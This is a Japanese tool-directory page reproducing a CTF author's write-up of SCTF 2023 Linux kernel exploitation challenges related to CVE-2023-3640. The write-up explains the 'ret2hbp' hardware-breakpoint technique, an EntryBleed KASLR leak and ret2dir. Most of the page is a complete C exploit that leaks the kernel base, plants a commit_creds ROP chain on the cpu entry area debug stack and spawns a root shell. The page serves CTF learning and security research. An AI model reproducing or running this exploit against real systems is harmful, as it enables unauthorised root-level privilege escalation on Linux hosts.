Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-3640 — SCTF 2023 カーネルpwn && CVE-2023-3640 | Kitploit
ツール/GitHubGitHub/pray77/cve-2023-3640
脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイト
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 カーネルpwn && CVE-2023-3640

リポジトリを見る
2913年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SCTF2023_kernelpwn

SCTF 2023 カーネルpwn

余談ですが、筆者は2024年卒業予定の学部生で、今年の秋採用に参加しています。お気軽にご連絡ください~

sycrop

この問題で問いたいのは次の2点です。

  1. cpu entry areaマッピング領域の先頭付近には、カーネルtextセグメントとのオフセットが固定されたアドレスがいくつかあります。詳細は下図を参照してください。これは小さなトリックで、初出はGoogleのKCTFで、その後国際大会で何度か登場しました。

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. ユーザー態でハードウェアブレークポイントをトリガーする方法により、レジスタ内容をper cpu entry areaから固定オフセットにあるDBスタックにプッシュできます。Linux 6.2より前ではper cpu entry areaはランダム化されておらず、アドレスが固定されていたため、カーネルの固定アドレス上にROPチェーンを構築する手段を実現できます。これがこの問題の革新的な点です。筆者はひとまずこれを「ret2hbp」と名付けました。この名称は攻撃手法を説明しやすくするためだけのもので、筆者は独自性を主張しているわけではありません。実際、カーネル利用の発展の歴史そのものの魅力はすでに十分に人を引きつけます。海辺の砂浜で貝殻を一つ拾えただけで十分嬉しいものです : )

具体的なアドレスとオフセットはexpを参照してください。やはり各位の師匠には自分でデバッグしてみていただきたいと思います。

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

実はこれは単なる1day利用問題で、基本的な考え方はGoogleのpj0のこの記事に基づいています。筆者が行ったのは、これをCTF問題にしただけです。個人的に強力で面白いと思うこの利用方法を皆さんに学んでいただき、たった1つのアドレスに1バイト書き込むだけでgetshellできる魅力を体感してもらえればと思います。 https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

これはカーネルの情報漏えい0dayに関する問題ですが、非想定解が存在しました(解いた2チームはどちらも非想定解でした)。

問題はleakを取り除いたsycropの強化版で、バージョンは6.2を使っているため、per cpu entry areaにランダム化が追加されています。

  1. まずやはりleakが必要です。ここで関係するのはCPU脆弱性です。起動スクリプト内の -enable-kvm と -cpu host に注目してください。物理マシンのCPUを使用しています。実際、ほとんどの場合、Intel CPUはこの脆弱性の影響を受けます。詳細は1dayのEntrybleed記事(https://www.willsroot.io/2022/12/entrybleed.html#comment-form)を参照してください。上のスクリプトを使えばkaslrを取得できます。
  2. 次のROPパートは、sycropの考え方に従えばスタックをDBスタックに移すべきですが、この時点でper cpu entry areaにランダム化が入っているため、DBスタックもランダム化されます(DBスタックはper cpu entry area + 0xf000のオフセットにあります)。しかし実際には、KPTIが有効な場合、システムコールエントリポイント(EntryBleedのentry_SYSCALL_64)だけでなくper cpu entry areaもユーザー態にマッピングされるため、prefetch命令で時間差を計算する方法によりオフセットを取得できます。具体的なスクリプトは、ベンダーが開示を許可してからでないと公開できません(ただし、上記で説明が明確になっているので、師匠方なら自力で作れると信じています)。
  3. 非想定解について、ROPパートではret2dirが使えます。これは筆者の手落ちで、問題作成時にret2dirで攻撃できるかどうかも考えましたが、時間の都合で問題本体を完成させたところ、この件をうっかり忘れてしまいました。もっとも、少なくともこの問題には解があるので良しとします。
ツールをダウンロード